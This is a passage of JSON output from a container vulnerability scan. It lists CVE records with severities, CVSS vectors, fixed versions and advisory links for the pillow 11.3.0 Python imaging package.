"pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112902", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:3492de95c685682601990a9ed9040578cdd2d8821f100471ebf3a386dc2618ae", "Title": "Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags", "Description": "Pillow is a Python imaging library. In versions through 12.3.0, the libtiff TIFF encoder can pass arguments to  TIFFSetField()  that do not match libtiff’s definition of the corresponding tag. When an application saves attacker-controlled image metadata through this encoder, crafted tag values can cause invalid memory reads, copying process memory into the encoded output or crashing the process. Applications that return the encoded output to an attacker can disclose that memory. The issue is reachable when re-saving compressed TIFF images and through certain conversions that preserve EXIF metadata into compressed TIFF output. This vulnerability is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-686" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112902", "https://advisory.echohq.com/cve/CVE-2026-112902", "https://getsafety.com/v/SFTY-20261021-68388/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/570df030c0d30c2bf5336b2ab59f3902d8ab0b6d", "https://github.com/python-pillow/Pillow/commit/af56ace297b0991d02988fcc2ea933e4824b4fb3", "https://github.com/python-pillow/Pillow/pull/10227", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xvh5-g6gv-559v", "https://nvd.nist.gov/vuln/detail/CVE-2026-112902", "https://www.cve.org/CVERecord?id=CVE-2026-112902" ], "PublishedDate": "2026-11-05T21:18:36.713Z", "LastModifiedDate": "2026-11-05T21:18:36.84Z" }, { "VulnerabilityID": "CVE-2026-25990", "VendorIDs": [ "GHSA-cfh3-3jmp-rvhc" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "12.1.1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-25990", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:f87f3e948ea465df952ea68a1ff1bcc88d631f0bee12d4873758a8e524eb68f0", "Title": "pillow: Pillow: Out-of-bounds Write via Specially Crafted PSD Image", "Description": "Pillow is a Python imaging library. From 10.3.0 to before 12.1.1, an out-of-bounds write may be triggered when loading a specially crafted PSD image. This vulnerability is fixed in 12.1.1.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.6 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.6 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "V3Score": 7.3 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/02/12/1", "https://access.redhat.com/errata/RHSA-2026:10184", "https://access.redhat.com/errata/RHSA-2026:14873", "https://access.redhat.com/errata/RHSA-2026:14874", "https://access.redhat.com/errata/RHSA-2026:16174", "https://access.redhat.com/errata/RHSA-2026:19712", "https://access.redhat.com/errata/RHSA-2026:28385", "https://access.redhat.com/errata/RHSA-2026:3461", "https://access.redhat.com/errata/RHSA-2026:3462", "https://access.redhat.com/errata/RHSA-2026:4128", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:4942", "https://access.redhat.com/errata/RHSA-2026:5168", "https://access.redhat.com/errata/RHSA-2026:5665", "https://access.redhat.com/errata/RHSA-2026:6277", "https://access.redhat.com/errata/RHSA-2026:6278", "https://access.redhat.com/errata/RHSA-2026:6308", "https://access.redhat.com/errata/RHSA-2026:6309", "https://access.redhat.com/errata/RHSA-2026:6497", "https://access.redhat.com/errata/RHSA-2026:6567", "https://access.redhat.com/errata/RHSA-2026:6568", "https://access.redhat.com/security/cve/CVE-2026-25990", "https://advisory.echohq.com/cve/CVE-2026-25990", "https://bugzilla.redhat.com/show_bug.cgi?id=2439170", "https://github.com/advisories/GHSA-cfh3-3jmp-rvhc", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/54ba4db542ad3c7b918812a4e2d69c27735a3199", "https://github.com/python-pillow/Pillow/commit/9000313cc5d4a31bdcdd6d7f0781101abab553aa", "https://github.com/python-pillow/Pillow/pull/9427", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-cfh3-3jmp-rvhc", "https://nvd.nist.gov/vuln/detail/CVE-2026-25990", "https://pillow.readthedocs.io/en/stable/releasenotes/12.1.1.html", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25990.json", "https://ubuntu.com/security/notices/USN-8047-1", "https://www.cve.org/CVERecord?id=CVE-2026-25990" ], "PublishedDate": "2026-02-11T21:16:20.67Z", "LastModifiedDate": "2026-09-10T13:17:55.22Z" }, { "VulnerabilityID": "CVE-2026-40192", "VendorIDs": [ "GHSA-whj4-6x5x-4v2j" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "12.2.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-40192", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a17aa9e19991a4a0e1d203258d7b741ba516dd7c5291dd4b3bd090d747820508", "Title": "Pillow: Pillow: Denial of Service via decompression bomb in FITS image processing", "Description": "Pillow is a Python imaging library. Versions 10.3.0 through 12.1.1 did not limit the amount of GZIP-compressed data read when decoding a FITS image, making them vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation). If users are unable to immediately upgrade, they should only open specific image formats, excluding FITS, as a workaround.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770", "CWE-409" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V3Score": 7.5, "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:16008", "https://access.redhat.com/errata/RHSA-2026:16009", "https://access.redhat.com/errata/RHSA-2026:16030", "https://access.redhat.com/errata/RHSA-2026:16174", "https://access.redhat.com/errata/RHSA-2026:17609", "https://access.redhat.com/errata/RHSA-2026:17611", "https://access.redhat.com/errata/RHSA-2026:19375", "https://access.redhat.com/errata/RHSA-2026:19712", "https://access.redhat.com/errata/RHSA-2026:21017", "https://access.redhat.com/errata/RHSA-2026:22465", "https://access.redhat.com/errata/RHSA-2026:22629", "https://access.redhat.com/errata/RHSA-2026:22840", "https://access.redhat.com/errata/RHSA-2026:23361", "https://access.redhat.com/errata/RHSA-2026:24761", "https://access.redhat.com/errata/RHSA-2026:24762", "https://access.redhat.com/errata/RHSA-2026:24853", "https://access.redhat.com/errata/RHSA-2026:24866", "https://access.redhat.com/errata/RHSA-2026:24977", "https://access.redhat.com/errata/RHSA-2026:27076", "https://access.redhat.com/errata/RHSA-2026:34365", "https://access.redhat.com/errata/RHSA-2026:34366", "https://access.redhat.com/errata/RHSA-2026:34368", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:57387", "https://access.redhat.com/errata/RHSA-2026:61627", "https://access.redhat.com/errata/RHSA-2026:61628", "https://access.redhat.com/errata/RHSA-2026:61629", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/security/cve/CVE-2026-40192", "https://advisory.echohq.com/cve/CVE-2026-40192", "https://bugzilla.redhat.com/show_bug.cgi?id=2458856", "https://github.com/advisories/GHSA-whj4-6x5x-4v2j", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/3cb854e8b2bab43f40e342e665f9340d861aa628", "https://github.com/python-pillow/Pillow/pull/9521", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-whj4-6x5x-4v2j", "https://nvd.nist.gov/vuln/detail/CVE-2026-40192", "https://pillow.readthedocs.io/en/stable/releasenotes/12.2.0.html#prevent-fits-decompression-bomb", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40192.json", "https://ubuntu.com/security/notices/USN-8211-1", "https://www.cve.org/CVERecord?id=CVE-2026-40192" ], "PublishedDate": "2026-04-15T23:16:10.053Z", "LastModifiedDate": "2026-10-26T21:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-42311", "VendorIDs": [ "GHSA-pwv6-vv43-88gr" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "12.2.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42311", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:87efcba8968dbaa943d447d226f5ab6378c1f15b08b82c9eb37423b5873f4862", "Title": "Pillow: python-pillow: Pillow: Arbitrary code execution via malicious PSD file processing", "Description": "Pillow is a Python imaging library. From version 10.3.0 to before version 12.2.0, processing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution. This issue has been patched in version 12.2.0.", "Severity": "HIGH", "CweIDs": [ "CWE-190", "CWE-787" ], "VendorSeverity": { "amazon": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.6 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.6 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42311", "https://advisory.echohq.com/cve/CVE-2026-42311", "https://github.com/advisories/GHSA-pwv6-vv43-88gr", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/58f9a1d166dcb0c274807d4423522d205b0c35ea", "https://github.com/python-pillow/Pillow/pull/9520", "https://github.com/python-pillow/Pillow/releases/tag/12.2.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-cfh3-3jmp-rvhc", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-pwv6-vv43-88gr", "https://nvd.nist.gov/vuln/detail/CVE-2026-42311", "https://ubuntu.com/security/notices/USN-8399-1", "https://www.cve.org/CVERecord?id=CVE-2026-42311" ], "PublishedDate": "2026-05-09T06:16:10.43Z", "LastModifiedDate": "2026-07-24T21:10:00.143Z" }, { "VulnerabilityID": "CVE-2026-54058", "VendorIDs": [ "GHSA-62p4-gmf7-7g93" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54058", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:2ead89112e012e94a67257097e72c9da7eb4e0335ee930c123dc8a968c52e56c", "Title": "Pillow: Pillow: Memory disclosure or denial of service via crafted McIdas AREA image", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, when Pillow loads an uncompressed McIdas AREA image from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width, causing pixel access such as Image.tobytes(), getpixel, convert, or save to read beyond the mapped region and disclose adjacent process memory or fault. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 4, "ghsa": 3, "nvd": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.3 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:48021", "https://access.redhat.com/security/cve/CVE-2026-54058", "https://advisory.echohq.com/cve/CVE-2026-54058", "https://bugzilla.redhat.com/2500043", "https://bugzilla.redhat.com/2500057", "https://bugzilla.redhat.com/show_bug.cgi?id=2500043", "https://bugzilla.redhat.com/show_bug.cgi?id=2500057", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54058", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59197", "https://errata.almalinux.org/8/ALSA-2026-48021.html", "https://errata.rockylinux.org/RLSA-2026:48021", "https://github.com/advisories/GHSA-62p4-gmf7-7g93", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d", "https://github.com/python-pillow/Pillow/pull/9719", "https://github.com/python-pillow/Pillow/releases/tag/12.3.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93", "https://linux.oracle.com/cve/CVE-2026-54058.html", "https://linux.oracle.com/errata/ELSA-2026-48021.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-54058", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-54058" ], "PublishedDate": "2026-07-14T17:17:03.433Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-54059", "VendorIDs": [ "GHSA-8v84-f9pq-wr9x" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54059", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:760db5ddbdc66922e822ee4c884dcb735d1590aa8ad702c13ffd32254520fcfd", "Title": "python-pillow: Pillow: Denial of Service via crafted PCF font data", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:39127", "https://access.redhat.com/security/cve/CVE-2026-54059", "https://advisory.echohq.com/cve/CVE-2026-54059", "https://bugzilla.redhat.com/2497452", "https://bugzilla.redhat.com/2497455", "https://bugzilla.redhat.com/2497464", "https://bugzilla.redhat.com/2497466", "https://bugzilla.redhat.com/show_bug.cgi?id=2497452", "https://bugzilla.redhat.com/show_bug.cgi?id=2497455", "https://bugzilla.redhat.com/show_bug.cgi?id=2497464", "https://bugzilla.redhat.com/show_bug.cgi?id=2497466", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55380", "https://errata.almalinux.org/8/ALSA-2026-39127.html", "https://errata.rockylinux.org/RLSA-2026:39127", "https://github.com/advisories/GHSA-8v84-f9pq-wr9x", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst", "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x", "https://linux.oracle.com/cve/CVE-2026-54059.html", "https://linux.oracle.com/errata/ELSA-2026-39127.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-54059", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-54059" ], "PublishedDate": "2026-07-06T19:17:08.127Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-54060", "VendorIDs": [ "GHSA-5x94-69rx-g8h2" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54060", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:1ec5113c61fbe63186f1968df8e02005da34dbfa5f8957cbaf9420a69a12a8f9", "Title": "python-pillow: Pillow: Denial of Service via excessive memory allocation when processing font files", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new(\"1\", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:39127", "https://access.redhat.com/security/cve/CVE-2026-54060", "https://advisory.echohq.com/cve/CVE-2026-54060", "https://bugzilla.redhat.com/2497452", "https://bugzilla.redhat.com/2497455", "https://bugzilla.redhat.com/2497464", "https://bugzilla.redhat.com/2497466", "https://bugzilla.redhat.com/show_bug.cgi?id=2497452", "https://bugzilla.redhat.com/show_bug.cgi?id=2497455", "https://bugzilla.redhat.com/show_bug.cgi?id=2497464", "https://bugzilla.redhat.com/show_bug.cgi?id=2497466", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55380", "https://errata.almalinux.org/8/ALSA-2026-39127.html", "https://errata.rockylinux.org/RLSA-2026:39127", "https://github.com/advisories/GHSA-5x94-69rx-g8h2", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst", "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2", "https://linux.oracle.com/cve/CVE-2026-54060.html", "https://linux.oracle.com/errata/ELSA-2026-39127.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-54060", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-54060" ], "PublishedDate": "2026-07-06T19:17:08.27Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-55379", "VendorIDs": [ "GHSA-45hq-cxwh-f6vc" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-55379", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:fb0204b36d3f721602d6c96c2775d68d7547a9a27f636e80313851a2364e208b", "Title": "python-pillow: Pillow: Denial of Service via crafted BDF font file", "Description": "Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:39127", "https://access.redhat.com/security/cve/CVE-2026-55379", "https://advisory.echohq.com/cve/CVE-2026-55379", "https://bugzilla.redhat.com/2497452", "https://bugzilla.redhat.com/2497455", "https://bugzilla.redhat.com/2497464", "https://bugzilla.redhat.com/2497466", "https://bugzilla.redhat.com/show_bug.cgi?id=2497452", "https://bugzilla.redhat.com/show_bug.cgi?id=2497455", "https://bugzilla.redhat.com/show_bug.cgi?id=2497464", "https://bugzilla.redhat.com/show_bug.cgi?id=2497466", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54060", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55380", "https://errata.almalinux.org/8/ALSA-2026-39127.html", "https://errata.rockylinux.org/RLSA-2026:39127", "https://github.com/advisories/GHSA-45hq-cxwh-f6vc", "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst", "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc", "https://linux.oracle.com/cve/CVE-2026-55379.html", "https://linux.oracle.com/errata/ELSA-2026-39127.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-55379", "https://ubuntu.com/security/notices/USN-8999-1", "https://www.cve.org/CVERecord?id=CVE-2026-55379" ], "PublishedDate": "2026-07-06T19:17:08.577Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-55380", "VendorIDs": [ "GHSA-phj9-mv4w-65pm" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "12.3.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-55380", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": 